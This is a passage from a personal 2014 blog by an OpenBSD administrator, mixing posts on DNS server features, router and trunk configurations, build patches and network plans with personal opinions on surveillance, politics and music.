"Intel 8 Series MEI" rev 0x04 at pci0 dev 22 function 0 not configured
ehci0 at pci0 dev 26 function 0 "Intel 8 Series USB" rev 0x05: apic 8 int 20
usb0 at ehci0: USB revision 2.0
uhub0 at usb0 "Intel EHCI root hub" rev 2.00/1.00 addr 1
azalia1 at pci0 dev 27 function 0 "Intel 8 Series HD Audio" rev 0x05: msi
azalia1: codecs: Realtek/0x0900
audio0 at azalia1
ppb4 at pci0 dev 28 function 0 "Intel 8 Series PCIE" rev 0xd5: msi
pci5 at ppb4 bus 5
ahci0 at pci5 dev 0 function 0 vendor "Marvell", unknown product 0x9230 rev 0x10: msi, AHCI 1.2
scsibus1 at ahci0: 32 targets
uk0 at scsibus1 targ 7 lun 0: ATAPI 3/processor removable
ppb5 at pci0 dev 28 function 2 "Intel 8 Series PCIE" rev 0xd5: msi
pci6 at ppb5 bus 6
em0 at pci6 dev 0 function 0 "Intel I210" rev 0x03: msi, address bc:ee:7b:dd:2e:5a
ppb6 at pci0 dev 28 function 5 "Intel 8 Series PCIE" rev 0xd5: msi
pci7 at ppb6 bus 7
ahci1 at pci7 dev 0 function 0 vendor "ASMedia", unknown product 0x0612 rev 0x01: msi, AHCI 1.2
scsibus2 at ahci1: 32 targets
ppb7 at pci0 dev 28 function 7 "Intel 8 Series PCIE" rev 0xd5: msi
pci8 at ppb7 bus 8
em1 at pci8 dev 0 function 0 "Intel I210" rev 0x03: msi, address bc:ee:7b:dd:2e:5b
ehci1 at pci0 dev 29 function 0 "Intel 8 Series USB" rev 0x05: apic 8 int 23
usb1 at ehci1: USB revision 2.0
uhub1 at usb1 "Intel EHCI root hub" rev 2.00/1.00 addr 1
pcib0 at pci0 dev 31 function 0 "Intel Z87 LPC" rev 0x05
pciide0 at pci0 dev 31 function 2 "Intel 8 Series SATA" rev 0x05: DMA, \
channel 0 configured to native-PCI, channel 1 configured to native-PCI
pciide0: using apic 8 int 20 for native-PCI interrupt
wd0 at pciide0 channel 1 drive 0:
wd0: 16-sector PIO, LBA48, 152627MB, 312581808 sectors
wd0(pciide0:1:0): using PIO mode 4, Ultra-DMA mode 6
ichiic0 at pci0 dev 31 function 3 "Intel 8 Series SMBus" rev 0x05: \
apic 8 int 18
iic0 at ichiic0
spdmem0 at iic0 addr 0x50: 8GB DDR3 SDRAM PC3-12800
spdmem1 at iic0 addr 0x51: 8GB DDR3 SDRAM PC3-12800
spdmem2 at iic0 addr 0x52: 8GB DDR3 SDRAM PC3-12800
spdmem3 at iic0 addr 0x53: 8GB DDR3 SDRAM PC3-12800
pciide1 at pci0 dev 31 function 5 "Intel 8 Series SATA" rev 0x05: DMA \
(unsupported), channel 0 wired to native-PCI, channel 1 wired to native-PCI
pciide1: using apic 8 int 20 for native-PCI interrupt
pciide1: channel 0 ignored (not responding; disabled or no drives?)
atapiscsi0 at pciide1 channel 1 drive 0
scsibus3 at atapiscsi0: 2 targets
cd0 at scsibus3 targ 0 lun 0: ATAPI 5/cdrom \
removable
isa0 at pcib0
isadma0 at isa0
com0 at isa0 port 0x3f8/8 irq 4: ns16550a, 16 byte fifo
pckbc0 at isa0 port 0x60/5
pckbd0 at pckbc0 (kbd slot)
pckbc0: using irq 1 for kbd slot
wskbd0 at pckbd0: console keyboard, using wsdisplay0
pcppi0 at isa0 port 0x61
spkr0 at pcppi0
uhub2 at uhub0 port 1 "Intel Rate Matching Hub" rev 2.00/0.05 addr 2
umass0 at uhub2 port 4 configuration 1 interface 0 "Generic USB Storage" rev 2.00/2.50 addr 3
umass0: using SCSI over Bulk-Only
scsibus4 at umass0: 2 targets, initiator 0
sd0 at scsibus4 targ 1 lun 0: SCSI0 0/direct \
removable serial.05e30727000000000250
sd0: 3873MB, 512 bytes/sector, 7931904 sectors
uhub3 at uhub1 port 1 "Intel Rate Matching Hub" rev 2.00/0.05 addr 2
uvideo0 at uhub3 port 3 configuration 1 interface 0 "Logitech product 0x0819" rev 2.00/0.10 addr 3
video0 at uvideo0
uaudio0 at uhub3 port 3 configuration 1 interface 2 "Logitech product 0x0819" rev 2.00/0.10 addr 3
uaudio0: audio descriptors make no sense, error=4
ugen0 at uhub3 port 3 configuration 1 "Logitech product 0x0819" rev 2.00/0.10 addr 3
uhidev0 at uhub3 port 5 configuration 1 interface 0 "Logitech USB-PS/2 \
Optical Mouse" rev 2.00/27.20 addr 4
uhidev0: iclass 3/1
ums0 at uhidev0: 8 buttons, Z dir
wsmouse0 at ums0 mux 0
uhub4 at uhub3 port 7 "ASUS Tek. ASM107x" rev 2.00/1.00 addr 5
vscsi0 at root
scsibus5 at vscsi0: 256 targets
softraid0 at root
scsibus6 at softraid0: 256 targets
root on wd0a (6658233dd69b328f.a) swap on wd0b dump on wd0b
I compiled this all on Jupiter which then was running OpenBSD-current still.
The highest possible date on OpenBSD 5.5
April 25th, 2014
Look...
mercury$ date -r 67768036191673199
Wed Dec 31 23:59:59 CET 2147485547
mercury$ date -r 67768036191673200
date: conversion error
What are you doing new years eve in the year 2147485547? Hopefully not
fixing the new years bug!
What's interesting is that localtime() will fail here at just under 2^55 bits.
I wonder if we can take it all the way up to 2^63 bits.
Two "racing" ARP's
April 28th, 2014
OpenBSD is different than other OS's in that it has a reverse ARP channel open
alongside a forward ARP channel. I tried to exploit this with one of my
programs I wrote, since frames are in sequence and scheduling in the OpenBSD
kernel is done in a FIFO manner.
Here you see the return frames. The reverse (indicated by the number 2 in
offset 0x2A) beat the forward reverse (indicated by number 1) by 0.000001
seconds, it even made up time in the TCP IP stack on the remote OpenBSD
router. The reason this is, is that the reversearp does not get scheduled
inside the NETISR and thus is a lot faster, it pre-empts the packet that went
in before it.
These are net-games but this can be used to test the network stack load on an
OpenBSD host/router to look for how much usage it gets. That in itself isn't
an exploitation though.
Got OpenBSD 5.5 in the mail yesterday
May 4th, 2014
I got my pre-ordered OpenBSD CD's in
the mail. Unfortunately the seal was broken so someone possibly tried these
out. Also I already upgraded my entire network to 5.5 on May 1st. Let this
be a warning to OpenBSD, release pre-orders early or be faced with us doing
ftp installs! We can't wait we're that hooked! However the CD's are quality
like always, it's just too bad these become cup coasters after half a year, but
that's part of the product that someone should know about.
Wildcarddnsd now has packet rate limiting
May 5th, 2014
I don't think I've ever had someone use me for an amplification DoS attack,
but I don't watch the logs all the time. However it's not impossible so I
have added a rate limiting algorithm on the hash of the IP querying my server
so that I will drop the query when a threshold is reached. I had given this
implementation thought for a while now and finally I wrote out the code.
Wildcarddnsd will use more memory depending on the packets per second
(details) and the hash of IP addresses is limited to 16 bit, meaning
that there can be collisions between unrelated IP addresses that cause the
ratelimiting to snare. But a high enough rate limit of say 12 packets per
second on a nameserver with a usual TTL of 1 day shouldn't cause a problem.
The pps is definable between 1 packet per second and 127 packets per second.
The maximum setting will consume up to 120 MB of RAM, but RAM is cheap when
we talk about 120 MB's. :-) I'm pretty happy right now.
Administrivia and future plans network wise
May 7th, 2014
I have added ratelimiting to io.solarscale.de which runs nsd. For this the
nsd needed a recompile. This literature on the web was very helpful:
nsd-ratelimit. I have set it to 12 queries per second, same as wildcarddnsd's ratelimit
on americas.centroid.eu.
I have evaluated a lot of scenarios on how I want to reorganize my network
and I have decided to get a DSL with static IP's in February 2015 again.
I'll be running a wildcarddnsd from home again. Earlier in september 2014 my
vps moon.virgostar.net will expire, I'll take it out of active DNS duty
possibly in august. I'll run with 2 nameservers from that point on until
2015. In february I'm also going to get rid of the io.solarscale.de vps
possibly for a transip.eu (amsterdam) vps instead (which will run OpenBSD).
This is still in the clouds (so to speak) so I'm not entirely positive on that.
And to test the transip.eu vps I'll possibly get that in november 2014 possibly
after the Wildcarddnsd 0.9.0 BETA release. So a lot of shuffling is taking
place, the only thing that won't change is americas.centroid.eu which is
prepaid until 2016, unless they figure out how to hypervisor OpenBSD in bhyve,
which I will then probably take.
Wildcarddnsd now has EDNS0 support
May 10th, 2014
I just committed the last bits. EDNS0 (RFC 6891) allows greater UDP sized packets than the RFC 1035
specification of 512 bytes per answer. This now opens the door for me to do
NAPTR RR and DNSSEC which is on my Todo list. BTW RFC 6891 replaces RFC 2671
which was so impossible to figure out that I had to wait until a new RFC came
on the scene. Thanks Vixie (at least he polished it)!
Wildcarddnsd now has NAPTR support
May 11th, 2014
I wanted to get this in so I can try out ENUM services. NAPTR (stands for
Naming Authority Pointer) Resource Record is used in VOIP a lot. It helps
reading the RFC (which I admittedly have not done fully) to get a better idea
of what it does. RFC 2915. Joy!
Happy 1400000000
May 13th, 2014
UNIX timestamp just wrapped over a bit more than an hour ago..
# date -r 1400000000
Tue May 13 18:53:20 CEST 2014
The next one is in 3 years and a month or so.
OpenBSD load sharing at the switch level
May 13th, 2014
Since I got my new computer I've set up a virtual lab with 5 QEMU vm's.
I want to show you an idea of mine that will drastically reduce load on
a set of routers seperated by a bridge. The idea is this: the lower you
go in OSI layers the less load. So you could have a setup like so:
Pretend you get a lot of pps (packets per second) or traffic that an OpenBSD
box can't handle. The idea in the above picture is to distribute the load
on layer 2 which has a lot less overhead than layer 3 (IP routing), so if
you have node 1, 2 and 3 be switches that round-robin their frames, the load
will be reduced by the time the frames get to nodes 4, 5, 6, and 7. I call
a router/switch a node here somethign with 3+ interfaces.
So how would that work without causign a mess? Well I set it up in the lab
and I only went as far as nodes 0, 1, 2, 3 and 4. The concept should work
with another few sets of switch levels but I'm gonna keep it short.
Here is the setup on node1:
$ for i in /etc/hostname.*; do echo $i; cat $i; done
/etc/hostname.bridge0
add em0 add trunk0
up
/etc/hostname.em0
inet 10.0.0.2 255.255.255.0
/etc/hostname.em1
up
/etc/hostname.em2
up
/etc/hostname.trunk0
trunkproto roundrobin
trunkport em1 trunkport em2
up
As you can see I have added interfaces em1 and em2 to trunk0 which round robins
and added that with em0 to bridge0. This works! Interface em0 doesn't need
an IP but I put one on so I can reach it in the test environment. You can
add another interface for out of band access.
Now then for nodes 2 and 3 the magic happens:
Node2:
$ for i in /etc/hostname.*; do echo $i; cat $i; done
/etc/hostname.carp0
inet 10.20.0.2 255.255.255.0
vhid 1
up
/etc/hostname.em0
lladdr 00:11:22:33:44:89
up
/etc/hostname.em1
inet 10.20.0.3 255.255.255.0
/etc/hostname.trunk0
inet 10.0.0.24 255.255.255.0
trunkport em0
up
!/usr/sbin/arp -s 10.0.0.2 68:03:09:13:04:07
!/usr/sbin/arp -s 10.0.0.254 fe:e1:ba:d3:a9:46
!/usr/sbin/arp -s 10.0.0.1 68:03:09:13:99:07
Node3:
$ for i in /etc/hostname.*; do echo $i; cat $i; done
/etc/hostname.carp0
inet 10.20.0.2 255.255.255.0
vhid 1
up
/etc/hostname.em0
lladdr 00:11:22:33:44:89
up
/etc/hostname.em1
inet 10.20.0.4 255.255.255.0
/etc/hostname.trunk0
inet 10.0.0.24 255.255.255.0
trunkport em0
up
!/usr/sbin/arp -s 10.0.0.2 68:03:09:13:04:07
!/usr/sbin/arp -s 10.0.0.254 fe:e1:ba:d3:a9:46
!/usr/sbin/arp -s 10.0.0.1 68:03:09:13:99:07
As you can see here the link layer address on both has been set to the same
MAC address, and the network layer address as well (10.0.0.24). I had to set
static ARP because return packets in the round robin on node 1 would not
guarantee that ARP replies would come back to the node that asked for it. It
can answer ARP though because for all it cares or knows (on either node 2 or 3)
that this is it's own address. Access to these boxes can only be granted on
the em1 interface or on an out of band interface.
I have carped the em1 interface which goes to node 4 which is a user host.
From there I want to show you a ping and a traceroute to node 1.
$ ping -c 4 10.0.0.1
PING 10.0.0.1 (10.0.0.1): 56 data bytes
64 bytes from 10.0.0.1: icmp_seq=0 ttl=254 time=3.270 ms
64 bytes from 10.0.0.1: icmp_seq=1 ttl=254 time=3.057 ms
64 bytes from 10.0.0.1: icmp_seq=2 ttl=254 time=3.172 ms
64 bytes from 10.0.0.1: icmp_seq=3 ttl=254 time=2.779 ms
--- 10.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/std-dev = 2.779/3.069/3.270/0.192 ms
$ traceroute 10.0.0.1
traceroute to 10.0.0.1 (10.0.0.1), 64 hops max, 40 byte packets
1 10.20.0.4 (10.20.0.4) 2.653 ms 1.634 ms 1.187 ms
2 10.0.0.1 (10.0.0.1) 3.364 ms 2.917 ms 2.943 ms
As you can see all packets make it. I had to disable pf(4) on nodes 2 and 3,
as there was a state syncronization problem. This can be fixed with pfsync(4)
but is another project worth.
Also make sure that both CARP interfaces don't go into MASTER mode. Or else
this causes DUP!'s (duplicate packets) in ping. This happened to me just as
I was wrapping up.
I hope you can build extra capability with this idea if only 1 router would
not have been enough for the load behind the ISP (node 0).
The NSA, 1 year after Snowden
May 14th, 2014
Before the Snowden revelation there was the
Warnings.
But in conclusion there is nothing we can do. The NSA will still listen in
and backdoor equipment for as long as they can. There really is not much we
can do if we want to continue using the Internet. Change will be slowly as
recommendations are to phase out american equipment in order to be entirely
safe. And then we're still not safe. Take it in stride. At least we have
an inner clock that tells us that something is wrong with all this, but we
mainly (or I mainly) aren't ready to hear it. It's like meeting aliens for
the first time, we won't be ready.
Wildcarddnsd now has RFC 1996 (Notify) master-only support
May 17th, 2014
I tested this and it seems to work. Unfortunately I wasn't able to test
the IPv6 part of it, I lack an IPv6 master server.
On my wishlist, for XMAS
May 21st, 2014
This is
on my wishlist. Possibly in 6 or 7 months when I have some more money.
I'm dangerously low on ports here at home and this router/firewall would be
beneficial.
Ordered a new Book
May 21st, 2014
Now that I have waited 2 months and not ordered anything in order to conserve
I have finally made another purchase. I have ordered "The Book of IMAP" by
Peer Heinlein and Peer Hartleben. The idea I got for buying a book because I
had to use Cyrus IMAP today and had to google on how to use it. This book
will hopefully help me more. It's been a long time overdue.
The heaven is singing a lullaby
May 23rd, 2014
See this morning sky!
It was much nicer in person.
The Tree
May 23rd, 2014
I have doodled with iMovie on the Mac a bit this morning and this is what I've
come up with. Music was randomly chosen and happens to be I Octane, Masterplan.
Watch this tree come back to life. Unfortunately the video doesn't work on
OpenBSD, and I don't want to convert it now.
I went voting in the EU election!
May 25th, 2014
I voted. Nuff said.
Snowden: All german citizens are spied upon
May 28th, 2014
Through another website I heard the news. The german government meanwhile wants proof or they're calling Snowden a
liar. To me the news just make sense. I heard stuff like that after 1945 there
wasn't any german effort to govern the people. It was all done by the Allies of
WW2. And the german government became a backseat pilot in such things such as
intelligence and security. Everything in Germany after 1945 was erected in a
manner that it suits the will of the allies not the will of the people. We
have the NSDAP and Hitler to thank for that. Germany is a mass-surveillance
experiment.
So how do I feel about that? Personally I feel it devalues everything. The
money is fake, the world is fake. Fake values and fake systems. And as always
the hands are tied behind ones back and it's a tough pill to swallow.
In recent conversation with my parents I had the viewpoint that Snowden was not
safe in Germany and hence we should not give him Asylum. I think Snowden knows
full well what he'd be getting himself into if he came to Germany. And the
efforts to protect him would just be a waste of time.
Another TODO for wildcarddnsd
May 29th, 2014
A few days ago I tested wildcarddnsd with 240,000 records. I was horrified.
It took 9.8 GB of hd space which took forever to load the records and when
I made the underlying database filesystem a tmpfs (memory fs), it still took
30 seconds to load all records. The problem is that wildcarddnsd has a
record for each domain name, so something.centroid.eu,
somethingelse.centroid.eu and someother.centroid.eu are 3 records in its
database. I made it so that each record is 40K large as according to this
test program:
int
main(void)
{
printf("%d\n", sizeof(struct domain));
}
The output for that is
mercury$ ./sizecheck
44287
So what to do. In the past wildcarddnsd malloc'ed all this data and just
stored the pointers in the database. This was good until I had several
processes for wildcarddnsd that forked()'ed. I could of course store all
data in a shared memory mmap segment, but getting the right size for that is
hard and we run into a wall when I want to deal with dynamic dns which may
add a lot more records than was evident at start of the program. So I think
I'm going to partition the records in struct domain and make it a little like
an IPv6 packet. To explain this we have flags such as:
I'm just going to tag on an A RR section if that flag is set in the main
struct domain which adds a little bit of memory. This way it's selective.
Also when we get to NAPTR pointers being excluded we save _a lot_ of space in
a record. This will all be put on my TODO in the tree so stay tuned.
Opinion: the destroyers of the 'net
May 31th, 2014
In my view all government agencies, from far and wide, are the destroyers of
the Internet. Believe it or not the Internet is built on ethics and values.
The government agencies that try to exploit the Internet are in gross violation
of these. They are like a cancerous substance in the human body. They must
be removed but somehow I think the governments do not see a need to remove them.
What this does in end-effect is it destroys the 'net. We're dealing with
low-IQ jealous type kindergarten kids here. Because as soon as the government
agencies lose interest in the Internet, they'll recommend its removal. What
it is they are after is hard to say. However I have a clue. They are after
people trying to make a home for their soul. They are after people who make
the Internet more beyond the laws and limits of any nation. People have made
the Internet a supra-national governed body based on something else that the
governments have fathomed. It is based on the rules of logic, and laws as
written in the RFC's. The secret services organizations want to destroy this
because only they used to have a monopoly on thought and logic.
I'm going to write a small poem about this, here it goes:
Internet my light my saviour
why do you stir such bad behaviour?
For I am being watched with every keystroke
By who other than my government who poke
and peek in my private life away from home
Did you know I live in a dome?
Yes it's made of gold and copper
But you ask me where it is I don't know.
You call me a liar? It isn't so
For my soul travels along these fibre lights
and while I dream and rest at nights
during day is when I exercise my rights
to use the Internet for a cost and for free
that's what's it about in technology
I demand that governments take heed
to retreat from their creeping deed
And let this 'net be open to my mind
Without them trying to watch my time
And analyse beyond analysation
This poem is for the digital nation!
Well I feel much better now. But the Evil NSA and other governments agencies
are still about. Let's pray for them!
Have purchased a riddim from itunes
June 5th, 2014
I have purchased the rest of the drop-it riddim on itunes. I had one song
from this by chuck fender already, this completes the purchase.
My 2nd WRT router
June 5th, 2014
I have purchased another WRT router (TP-LINK TL-WR841ND). This router I'm
going to set up at my parents house for freifunk.net. The cost of this
router was 28 Euros and is acceptable for a product that gives free Internet
and networking to people in range. Eventually we'd like to see a network
evolve out of this on the street, neighbourhood, city, state. I can't wait
for it to become popular.
Isn't it time for a new computer design?
June 11th, 2014
In my view computers have become too cheap, at under 200 euros a pop. The
Von Neumann
architecture design has proven its simple design since the 1950's. But is it
secure? Why should a device on a firewire, serial or PCI bus have control
over the entire memory of a computer? And how would one do the interface if
not?
I'd happily trade in a few things from the current computer.
rare metals, I'd willingly pay more if my computer used less of these
green manufacturing, I'd willingly pay more if my computer used such process
quantum elements (quantum cryptography, quantum processing)
perhaps manufactured somewhere other than asia?
Anyhow, I think you get the drift. While the current design may be good for
first time computer buyers in the 3rd world, the stuff is being flooded in
1st world markets. And we're not learning a bit about computers. Even though
my computer was less than that today, I'd argue that a computer in the 2500
to 10,000 euro range is a worthwhile investment, one that can become the next
"dream" machine as people only dream of getting it. So I'm saying don't
artificially make computers more expensive, as that's only more money in the
producers pocket, no..make it new, make it different, make it the cheapest
possible design at a different approach. And then we can possibly compare.
What happens when...
June 11th, 2014
You mix Reggae with RFC's? Out comes RFC-Reggae...
8 days until northern solstice
June 13th, 2014
On Saturday June 21st is northern solstice. For us here that means the longest
day of the year. Have fun whatever you're doing.
ap.centroid.eu
June 13th, 2014
This is a notice that ap.centroid.eu will go away in less than 3 months. I'll
likely point ap.centroid.eu to americas.centroid.eu when the vps in hong kong
is reclaimed. The day this will happen is September 10th.
A brief history on ap.centroid.eu. I rented it from Host Virtual an american
vps provider (http://vr.org). It resided in the NTT datacenter in Hong Kong
and had the main outgoing route go through NTT's links (first to Japan and then
on to the US to get to Europe). It was my presence in Asia for 2 years, and
it attracted a lot of asian but also eurasian traffic. Not as much traffic
as I had hoped but in retrospect at least it did not kill me. I was satisfied
with the performance and service of this virtual computer. Over the course
of the two years I have accumulated about half a TB of traffic, so not much.
So what's next for my network? I'm downsizing the VPS's a bit and in February
I'm likely changing my DSL provider in order to get a static IP again. I'll
host a master nameserver likely from home then.
Purchased more Reggae
June 20th, 2014
This time the Changes Riddim from Don Corleon Music. I like this riddim, I
think a lot of artists in the 9 songs are really great.
Last year I had a picture of cherries, so I will have one this year.
These cherries are smaller but more plenty in the tree. Probably due to a
cool spring.
A message to the Justice Minister, you're doing it wrong..
June 28th, 2014
The German Justice Minister wants to do harm to google in order to break
the monopoly. Citations here. But it's
my opinion that they're going about it wrong. What politics is doing is just
adding a tax or tarif on Google which google will survive, as they are a
monopoly. If you want to hurt google you copy its functions and start-up.
Last year, I outlinedwhat needed to be done and how google positioned itself to be #1.
Anyhow Minister, send me a proper email if you want to give me the green light
to start a new google.
Some of you may know I have a Canadian history. I even applied for .ca
citizenship once but only went to stage 2 of a three stage process and didn't
obtain it. Sad for me, Canada is a lovely country. I'm pretty jealous of
people who obtained dual citizenships, as they can make both their countries
their home. Anyhow. Enjoy the day when people wear red and white (sometimes)!
Why a static IP is best
July 4th, 2014
Happy US Independence day. Recently the news hit in Germany that users of
tor (which is an anonymiser) are tracked down by the NSA and get an "extremist"
flag. This just goes to show that dynamic IP's are not quite anonymous, as
tor is much better at anonymizing than a dynamic IP. Anonymous services are
dead. I realised this in 1997 when I started working for an ISP, and have
always since tried to get a static IP. A static IP doesn't change, you dial
in or connect your DSL and it is always on the same IP. This makes you easily
identifyable by laymans even. However it also gives you a set of freedoms.
Because now you can run services right at home, like a mail server. You know
noone is snooping through your mail because you're the only admin of the
computer at home. This gives you Independence too strangely (referring to
the first sentence in this paragraph). Currently I'm on a dynamic IP but once
my contract is up I'm switching to a provider that can give me a static IP
again. The reason this didn't happen was that I was in a hurry to get 'net
back when and was locked in a 24 months contract.
How to compile xephem from source on OpenBSD
July 06th, 2014
You'll need to install gmake and openmotif from the packages/ports. Then
unpack the latest source and apply this patch to GUI/xephem...
$ more /tmp/Makefile.patch
--- Makefile Sun Jan 20 04:42:02 2013
+++ /tmp/Makefile Sun Jul 6 18:17:06 2014
@@ -34,9 +34,9 @@
# some systems now use just /usr/X11 (not /usr/X11R6)
CC = gcc
CLDFLAGS = -g
-CFLAGS = $(LIBINC) $(CLDFLAGS) -O2 -Wall -I$(MOTIFI) -I/usr/X11R6/include
-LDFLAGS = $(LIBLNK) $(CLDFLAGS) -L$(MOTIFL) -L/usr/X11R6/lib
-XLIBS = -lXm -lXp -lXt -lXext -lXmu -lX11
+CFLAGS = $(LIBINC) $(CLDFLAGS) -O2 -Wall -I$(MOTIFI) -I/usr/X11R6/include -I/usr/local/include
+LDFLAGS = $(LIBLNK) $(CLDFLAGS) -L$(MOTIFL) -L/usr/X11R6/lib -L/usr/local/lib
+XLIBS = -lXm -lXt -lXext -lXmu -lX11
LIBS = $(XLIBS) $(LIBLIB) -lm
# for ppc Apple OS X to make universal (i386 and ppc binary), requires
then type gmake and it will build, installing the binary is up to you though.
An old rap song of mine
July 8th, 2014
I was playing around with iMovie on my Mac mini on the weekend and this is
what I came up with.
I could have taken any song but I thought I'd try it with something personal.
Lyrics by me, music is from the radio recorded from the Urban Space show (old
CKLN show).
Purchased more Reggae
July 17th, 2014
I have purchased I-Octane's new album "My Journey" and Jah Cure's album
"World Cry". I'm a fan of both and Jah Cure's music finally made my iTunes
collection. Happy Listening!
How much space would we have if...
July 19th, 2014
Someone on IRC made me aware of
this drawing which shows space in the
solar system on rock/ice planets and moons. It intrigued me so I'm sharing the
hyperlink. In my opinion we could do with a lot more space than we have on
earth now. I personally own no land.
The dark side of IT workers
July 19th, 2014
Many may think of IT work as glorious. And it is, when things work out. But
there is a dark side. As IT workers we're often not getting the spiritual, and
physical care that humans require. This makes us like zombies and prisoners
trapped in our own bodies. Many of us are obese, physically or mentally ill
and on the verge of a disaster. The people I know that died are getting more
frequent. Just a few days ago a friend died, which prompted me to write
something.
The truth is we came from the Dot.com period where it was
indoctrined in us that with hard work we too can be rich and reap the benefits.
But the truth is that this only happened to the few. The rest of us upheld
networks, created new programs to feed the rich. We're not rich but still are
in a mode working like we will be one day and it's killing or disabling us.
The problem is that many of us are also addicted to this work and can't think
of a life without computers and networks.
I offer no solutions other than
pointing out to my readers the problem. Perhaps you too are wondering where
you're headed, worried about your shortened future perhaps, or perhaps you are
a youngling looking for clues on how to make it into this industry. Don't
let me spoil it for you, there is glory too in this industry, but some don't
make it, and it's a shame as these were brilliant minds and beautiful inside.
One thing is for sure. This is not sustainable forever.
What to do with Ukraine?
July 19th, 2014
I'm for a UN peacekeeping mission there, as this conflict is spreading
internationally.
Backdoored Hardware
July 23rd, 2014
I recently read something
in german that said that DE-CIX (as an example) is not guilty at the spying
when the hardware is backdoored. However I must say something to this.
Around the time the Snowden story appeared, DE-CIX were active in upgrading
their infrastructure to Alcatel-Lucent hardware. They could have stopped and
said "no we're going with swedish routers instead". But they didn't. And
that to me makes them guilty of a bad decision.
Let me give you an example. When you're a pupil going to school there is at
least 2 or 3 alternate routes to the place. Let's pretend you get bullied on
your way to school. Why would you take the same route after such an event?
A smart person would take the alternate route if they can't make the bully
stop. Problem solved. This is not what DE-CIX is doing though.
Had DE-CIX gone with swedish gear (which may have lesser quality)
they could have introduced more parallelism to scale. It would have been a
lot more money but in the end they would guarantee us a safe passage.
I interupted Venus's uptime
July 25th, 2014
My PPPoE router venus's uptime was interrupted today after 85 days uptime.
I compiled a new kernel with SMP for it and it happily detected the other
core or hyperthread. The below from dmesg:
cpu1 at mainbus0: apid 1 (application processor)
cpu1: Genuine Intel(R) CPU @ 1.60GHz, 1600.00 MHz
Thanks to the OpenBSD developer who fixed the 5.6 install and left a comment
in the CVS messages, it made me aware I was only running off 1 processor since
I bought venus, and I never really noticed.
The speed of an scp between venus and mercury hasn't changed though, so I didn't
gain much more, perhaps a kernel will build faster though.
New Soekris Product coming in Winter 2015
July 25th, 2014
I just saw this at
soekris.com's site. A new router with up to 8 Cores and 8 GB RAM. And best
of all it has an IPSEC accelerator rated at 10 Gbit/s, which covers all 4
Gbit ports easily.
I'll keep watching this router, as I'm getting low on ports here at home.
My Prayer
July 27th, 2014
I'm not very religious. Yesterday I was lying in bed and listened to 2 hours
of music, and I made up a little prayer of all things connected before I went
to sleep. It goes a little something like this:
We are all connected
the earth is our home
the cosmos
the earth
blackness
the earth
green blue yellow light
the earth
white light
the earth
I solidify my roots
the earth
all sorrow is gone
the earth
painful events don't mean so much
the earth
our planet will live on
the earth
through the test of time
the earth
it will take us along
the earth
starshine!
the earth
live the earth love the earth
our divine
In thought this prayer gave me a real home-bound feeling, my body felt very
relaxed. Because we aren't just disconnected entities on earth, we are all
connected biologically. Us as an invasive species or not.
40 days til end of Moon
August 1st, 2014
My VPS moon.virgostar.net will cease working in 40 days, it will get reclaimed
by Host Virtual. In 2 weeks, during my holidays, I'm going to move major
services off it such as web and dns. What will remain is just a shell
server until it stops working.
Tunnels vs. Submarines
August 2nd, 2014
The tunnels in Gaza I believe are much like the cargo-submarines that Germany
had before the breakout of WW1. Germany had created or wanted to create
these because certain goods weren't able to get past the British Navy.
So my opinion is that Gaza should disarm and make all tunnels available to
the Israeli armed forces, so that they can be scuttled. It's too bad about
the people living in Gaza that they have terrorists amid their midst and
below them in tunnels, many of those people are innocent and victims of war.
My next .ca vacation
August 4th, 2014
Will likely be in summer 2016. I already touched up on the subject with a
few friends, that leaves 2015 unplanned. Who knows what I'll be doing but
in 2014 I'm coding.
Ordered a book yesterday
August 4th, 2014
I ordered this book: Elemente optischer Netze: Grundlagen...
by Volkmar Brueckner. This book is in german and will replace a book I once
had in .ca regarding optical networks. I'm looking forward to getting it on
the 6th.
nginx + fastcgi stopped working
August 11th, 2014
The jail admin on americas.centroid.eu upgraded all binaries in my jail.
While this was nice of him/her it broke everything. So while googling and
searching and finding nothing I came across the fix by strings'ing the
php-fpm binary. Here is the fix to my config file for fastcgi:
So I hope anyone who has similar problems will be able to come here. However
you can't google this since this blog has a robots.txt deny entry. You can
keyword search on this blog though.
OpenBSD has a new HTTPD
August 11th, 2014
I've been watching the CVS logs at OpenBSD for a while now where Reyk committed
a new httpd at OpenBSD. It's a very secure lightweight server and I think
it may be great for me. I'm going to be possibly porting/testing it out on
FreeBSD next week during my holidays.
Holidays in 5 days
August 11th, 2014
I go on vacation in 5 days. Looking forward to it. I'll be back at work on
September 2nd. What will I be doing? You may have guessed it. I'm going to
be programming on Wildcarddnsd. Looking to get one feature working, which will
beef security of zone transfers somewhat.
Asylum for Snowden
August 12th, 2014
It was announced last week or so that Edward Snowden would be getting an
extension of 3 years permanent residency in Russia. But while he's busy
there there is an ongoing debate whether Snowden should get asylum in
Germany. I found this article
(in german) that says that in 1951 article 7 of the NATO mandate in Germany
the american military have their own parallel judicial and disciplinary track,
on top of Germanys. This means that anyone who belongs to the american armed
forces is tried in an american court. Now Snowden worked for the NSA. It's
debateable whether he is military but he did work with military secrets so he
may fall into this jurisdiction. I have been fearing this all along
and have written before not to give Snowden asylum here in Germany. Because
what would happen is he'd be extradited and then everyone would hate us, and
it just needn't be. It's better to be blunt about it and say we have AIDS
before everyone gets f*cked! Us, Germany's citizens probably have work ahead
to regain sovereignty, but I don't see a chance for that as long as NATO troops
still occupy us (as friends/allies of course).
Regarding the occupation the
americans are largely gone in the Ledward and Conn baracks here in Schweinfurt.
The "keys" to the castle, so to speak, are going to be turned over around
September 30th, 2014. The discontinuation of american forces in Schweinfurt
was decided by US president Obama in 2012 or so. I personally am pretty
grateful that the US forces are leaving, and pretty grateful for the service
that the USA did for our protection in the cold war. So I'm soso about it.
The US are leaving us with a lot of infrastructure and our community college
is already reserving the right to use buildings for housing 100 students in
October onwards.
Removed moon.virgostar.net from nameservers
August 12th, 2014
I updated 5 out of 6 domains with success. Only centroid.eu had a failure
that was unrelated to me taking out moon.virgostar.net from my nameservers.
As of today I'm running on only 2 nameservers probably until November/December.
On those dates I'll probably get another VPS in the european region and set
it up for DNS. Moon.VirgoStar.Net was a nameserver for my domains for 22
months and was always available. The vps will get reclaimed by the hosting
provider in less than 30 days so I'm moving everything from it.
Purchased some Reggae
August 13th, 2014
Today on iTunes I purchased Bugle's new album "Anointed". I'm sure this will
rock, as I was impressed by the preshow.
New Open Source: bindsync
August 13th, 2014
I have released a program I wrote for a friend into viewvc. It's called
bindsync.
bindsync is a program that scans a master named.conf
file and adds any new zones via the network to the
slave. No work has been done since 2011 but it's
